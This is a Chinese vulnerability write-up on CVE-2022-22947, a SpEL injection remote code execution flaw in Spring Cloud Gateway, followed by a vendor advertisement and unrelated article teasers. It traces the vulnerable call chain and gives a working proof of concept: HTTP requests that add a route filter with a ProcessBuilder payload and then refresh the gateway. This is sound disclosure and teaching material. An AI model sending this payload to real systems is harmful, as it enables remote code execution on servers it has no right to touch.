CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析
漏洞概要
Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。
Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由,路由中包含的恶意filter参数会经过SPEL表达式解析,从而导致远程主机执行任意代码。
- 影响范围:
org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)
org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7) - 修复方案:
将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本
将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本 - 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077
以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:
0x00 环境搭建
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
0x01 漏洞分析
首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式
![[图片]](https://img-blog.csdnimg.cn/235efcf6197046b991b11b5217a0fad1.png)
我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用
![[图片]](https://img-blog.csdnimg.cn/1ce302ed253145edb8ef6a6490fa8f3e.png)
那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它
![[图片]](https://img-blog.csdnimg.cn/ff9f064fa1fb4cfb84dcfb8f6c69088b.png)
最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
![[图片]](https://img-blog.csdnimg.cn/b537baf95e6a4dc6bbdee3dd56ec43a6.png)
继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters
![[图片]](https://img-blog.csdnimg.cn/4dc9ee2357594befb21b290663f2b007.png)
继续重复之前的操作(向上回溯),会找到这么一条调用链
RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters ->
RouteDefinitionRouteLocator#convertToRoute ->
RouteDefinitionRouteLocator#getRoutes ->
GatewayControllerEndpoint#routes
![[图片]](https://img-blog.csdnimg.cn/06cb53d574e141f0af370855440ffe41.png)
整体流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
![[图片]](https://img-blog.csdnimg.cn/6c7699b0957244109a43d3804e52262c.png)
来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容
![[图片]](https://img-blog.csdnimg.cn/388b5d507fc949d6ae4dc4f3d8ecf52a.png)
Filters内容
![[图片]](https://img-blog.csdnimg.cn/2f6d955b0cae4d1285eb784c196b650f.png)
0x02 构造PoC
首先创建路由filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212{"id": "test","filters": [{"name": "AddResponseHeader","args": {"name": "any","value": "#{new ProcessBuilder(\"calc\").start()}"}}],"uri": "http://test.com"
}
发包可以发现payload已经注入进filter了
![[图片]](https://img-blog.csdnimg.cn/f88d63410acf47d7b3356873f34998fc.png)
接下来刷新一下
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性
![[图片]](https://img-blog.csdnimg.cn/b4e66afc88284fc083f27e79947570e4.png)
接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性
![[图片]](https://img-blog.csdnimg.cn/f02379506c884406b6c7b86c4f1fadd5.png)
造成Spel注入
![[图片]](https://img-blog.csdnimg.cn/60dab08976aa43d0837af0f9d1a43b2e.png)
最终解锁计算器
![[图片]](https://img-blog.csdnimg.cn/e51b4856c7bc433e87c0fd84d754efa7.png)
0x03 参考链接
https://www.cnblogs.com/bitterz/p/15964852.html
- https://xz.aliyun.com/t/11004#toc-1
免费情报订阅 & 代码安全检测
墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。
代码安全检测: https://www.murphysec.com/?sf=1vi9zs
情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs
漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs
![[图片]](https://img-blog.csdnimg.cn/5ce23ef3064744dda3b13850bc003db5.png)
相关文章:
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析
漏洞概要 Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。 Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由ÿ…...
Firebase常用功能和官方Demo简介
一、Firebase简介Firebase刚开始是一家实时后端数据库创业公司,它能帮助开发者很快的写出Web端和移动端的应用。自2014年10月Google收购Firebase以来,用户可以在更方便地使用Firebase的同时,结合Google的云服务。现在的Firebase算是谷歌旗下的…...
MATLAB R2020a 与PreScan8.5.0 详细安装教程(图文版)
目录MATLAB安装PreScan安装每文一语MATLAB安装 MATLAB是一款数学软件,用于科学计算、数据分析和可视化等任务。以下是MATLAB的几个优势: 丰富的工具箱:MATLAB拥有多种工具箱,包括信号处理、图像处理、优化、控制系统等࿰…...
CNI 网络流量 4.3 Calico felix
文章目录felix 太重要了,单独一文搞懂它Felix是一个守护程序,在每个 endpoints 的节点上运行。Felix 负责编制路由和 ACL 规则等,以便为该主机上的 endpoints 资源正常运行提供所需的网络连接 主要实现一下工作 管理网络接口,Feli…...
超声波风速风向传感器的通讯协议
接线定义 1 电源正 棕色线 4 风向信号 2 电源负 黑色线 5 485A 蓝色线 3 风速信号 6 485B 灰色线 ⊙寄存器参数表 地址 访问权限 参数名称 数据解析方法 0x0000 R 风速 瞬时 *100 上报 0x0001 R 风向 原数上报 0x0002 R 最大风速 *100 上报 0x0003 R 平均风速 *100 上报 0x000…...
JVM笔记(8)—— 直接内存
一、什么是直接内存 直接内存不是虚拟机运行时数据区的一部分,是在运行时数据区外、直接向系统申请的内存空间。 通常,访问直接内存的速度会优于堆,读写性能更好。因此,出于性能考虑,读写频繁的场合可能会考虑使用直…...
Unity性能优化:如何优化Drawcall
前言 降低游戏的Drawcall,是渲染优化很重要的手段,接下来从以下4个方面来分析如何降低DrawCall: 对惹,这里有一个游戏开发交流小组,希望大家可以点击进来一起交流一下开发经验呀 降低Drawcall的意义是什么?如何查看游戏的Drawca…...
类与对象(this 关键字、构造器)
目录一、面向对象二、类与对象三、对象内存图四、成员变量和局部变量区别五、this关键字六、构造器/构造方法一、面向对象 一种编程思想:也就是说我们要以何种思路,解决问题,以何种形式组织代码 当解决一个问题的时候,面向对象会把事物抽象成…...
[NOIP2002 普及组] 过河卒
题目描述: 棋盘上 A 点有一个过河卒,需要走到目标 B 点。卒行走的规则:可以向下、或者向右。同时在棋盘上 C 点有一个对方的马,该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。 棋盘用坐标表…...
redis事务和锁机制
目录 事务定义 事务操作命令 redis事务的错误处理 redis事务冲突问题 redis解决事务冲突的方法 Redis事务的三个特性 事务定义 redis事务是一个单独的隔离操作:事务中的所有命令都会序列化,按顺序的执行。事务中在执行过程中,不会被其他客户…...
Java实例——线程
1、查看线程存活状态 Thread.isAlive() Thread.getName() public class MyThread extends Thread{Overridepublic void run() {for (int i 0; i < 10; i) {printMsg();}}public static void printMsg(){Thread thread Thread.currentThread();//Thread.getName() 获取线程…...
云计算学习课程——越来越重要的云安全
2023,越来越多的企业和组织正在或即将把核心系统和数据迁移上云端,其中以公有云和服务居多,那么就意味着在数据迁移的过程中会出现安全问题的几率更大。企业也越来越注重云安全体系,对我们云计算运维工程师来说,也是一…...
Android 高性能列表:RecyclerView + DiffUtil
文章目录背景介绍一般刷新 notifyDataSetChanged()局部刷新实现调用代码准备工作创建 MyDiffUtilCallback 类继承 DiffUtil.Callback 抽象类MyAdpter 类代码实现步骤总结通过 log 证实 diffutil 的局部刷新diffutil 优化后台线程参考主线程参考diff 更新优化后写法相关参考背景…...
为什么派生类的构造函数必须在初始化列表中调用基类的构造函数
调用派生类的构造函数时,可能会调用继承自基类的函数,也就可能会用到基类的数据成员,因此,调用派生类的构造函数时,必须确保继承自基类的数据成员已构造完毕,而将基类构造函数的调用写在初始化列表中&#…...
2023年2月初某企业网络工程师面试题【建议收藏】
拓扑图如下,主机A与主机B能互相通信,但是A不能ping通RA的F0接口,这是为什么?RA上f0接口上配置了ACL,禁止源ip为主机A,目的ip为RA f0的数据包的发送; 第一个路由器上只有到主机B网段的路由&#…...
分布式下(sso)单点登录
目录标题一、基于rediscookie的单点登录二、基于jwtcookie的单点登录一、基于rediscookie的单点登录 传统单机应用登录 传统单机应用,一般是结合session和cookie实现认证、授权。用户通过输入账号密码登录系统,登录成功后在系统创建一个session来保存用…...
PMP真的有那么厉害?你需要考PMP吗?
这个含金量是有的,是目前项目管理界含金量较高的证书,但也要分人, 因为这是职业证书,主要用于提高职场工作能力,不搞这一行的,PMP证书含金量再高也是一张废纸,可以看下下面这张图,这…...
高通平台开发系列讲解(WIFI篇)802.11 基本概念
文章目录 一、WLAN概述二、802.11发展历程三、802.11基本概念沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文将基于高通平台介绍802.11基本概念。 一、WLAN概述 WLAN是Wireless Local Area Network的简称,指应用无线通信技术将计算机设备互联起来,构成可以互相通…...
扬帆优配|反弹涨超70%,昨收三连板,稀土行业或迎大事件
本年第一批稀土挖掘锻炼目标行将发放。 2月22日晚,东易日盛公告称,公司收到董事、副总经理兼财务总监李双侠出具的《关于未严格执行股份减持方案的致歉函》,其此次减持方案已施行结束,但在施行减持方案时,因操作失误&a…...
华为OD机试 - 工号不够用了(Java) | 机试题+算法思路+考点+代码解析 【2023】
工号不够用了 3020年,空间通信集团的员工人数突破20亿人,即将遇到现有工号不够用的窘境。 现在,请你负责调研新工号系统。继承历史传统,新的工号系统由小写英文字母(a-z)和数字(0-9)两部分构成。新工号由一段英文字母开头,之后跟随一段数字,比如"aaahw0001&qu…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...
css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...
R 语言科研绘图第 55 期 --- 网络图-聚类
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...
论文阅读:Matting by Generation
今天介绍一篇关于 matting 抠图的文章,抠图也算是计算机视觉里面非常经典的一个任务了。从早期的经典算法到如今的深度学习算法,已经有很多的工作和这个任务相关。这两年 diffusion 模型很火,大家又开始用 diffusion 模型做各种 CV 任务了&am…...
